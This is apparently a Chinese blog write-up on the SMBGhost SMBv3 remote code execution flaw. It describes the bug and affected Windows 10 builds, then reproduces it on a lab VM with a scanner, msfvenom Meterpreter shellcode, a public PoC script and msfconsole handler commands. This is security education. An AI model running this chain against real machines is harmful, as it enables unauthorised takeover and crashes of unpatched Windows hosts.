CVE-2020-0796 (SMBv3远程代码执行) Windows-10
CVE-2020-0796-简介
【漏洞名称】
SMB远程代码执行漏洞（CVE-2020-0796），有安全研究者取名“SMBGhost”。
【漏洞类型】
远程代码执行
【漏洞等级】
高危
【漏洞描述】
微软3月11日发布3月例行更新，其中并未公布编号为CVE-2020-0796的高危漏洞资料，但该漏洞却最为引人注目。次日晚（2020年3月12日）微软正式发布CVE-2020-0796高危漏洞补丁。
SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。
攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。
该漏洞的后果十分接近永恒之蓝系列，都利用Windows SMB漏洞远程攻击获取系统最高权限，WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外，该漏洞得亮点在于对SMB客户端的攻击，攻击者可以构造特定的网页，压缩包，共享目录，OFFICE文档等多种方式触发漏洞进行攻击。
该漏洞并未出现在微软3月的例行更新列表，有国外安全厂商意外发布了有关该漏洞存在的消息，随后引发行业关注。
【漏洞版本】
漏洞不影响win7，漏洞影响Windows 10 1903之后的各个32位、64位版Windows，包括家用版、专业版、企业版、教育版。
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
漏洞复现
RCE 到 Metasploit
使用迅雷下载 win-10 的 iso 镜像并安装系统：
Win 10-1903 迅雷下载 ：ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|
首先查了一下补丁情况，发现没有 ：KB4551762
通过齐安信的漏洞检测脚本发现存在漏洞：
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
C:\Users\CVE-2020-0796\Desktop\CVE-2020-0796-Scanner>CVE-2020-0796-Scanner.exe
请输入目标IP或IP范围:
192.168.146.156
本漏洞扫描工具仅限于网络安全管理员发现本组织的问题系统使用，依据网络安全法，任何攻击为目的对非授权系统的非法使用所导致的后果自负。
[+] 目标 [192.168.146.156] 已支持SMB v3.1.1
[-] 警告！目标 [192.168.146.156] 仍存在漏洞风险
通过 MSF 生成 shellcode：（用正向）
msfvenom -p windows/x64/meterpreter/bind_tcp lport=9999 -f py -o shellcode.txt
然后我们通过下载 exp 脚本：
https://github.com/chompie1337/SMBGhost_RCE_PoC.git
把刚刚 MSF 生成的 shellcode 里的 buf 替换成 USER_PAYLOAD：
这个时候 MSF 就可以启动监听了：
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcpset
lport 9999set rhost 192.168.146.156
exploit
然后运行 Python 脚本反弹会话：
python3 exploit.py -ip 192.168.146.156
有效显示：
注意!!!
有很大的几率会导致目标系统蓝屏！
emo，小编成功蓝屏2333
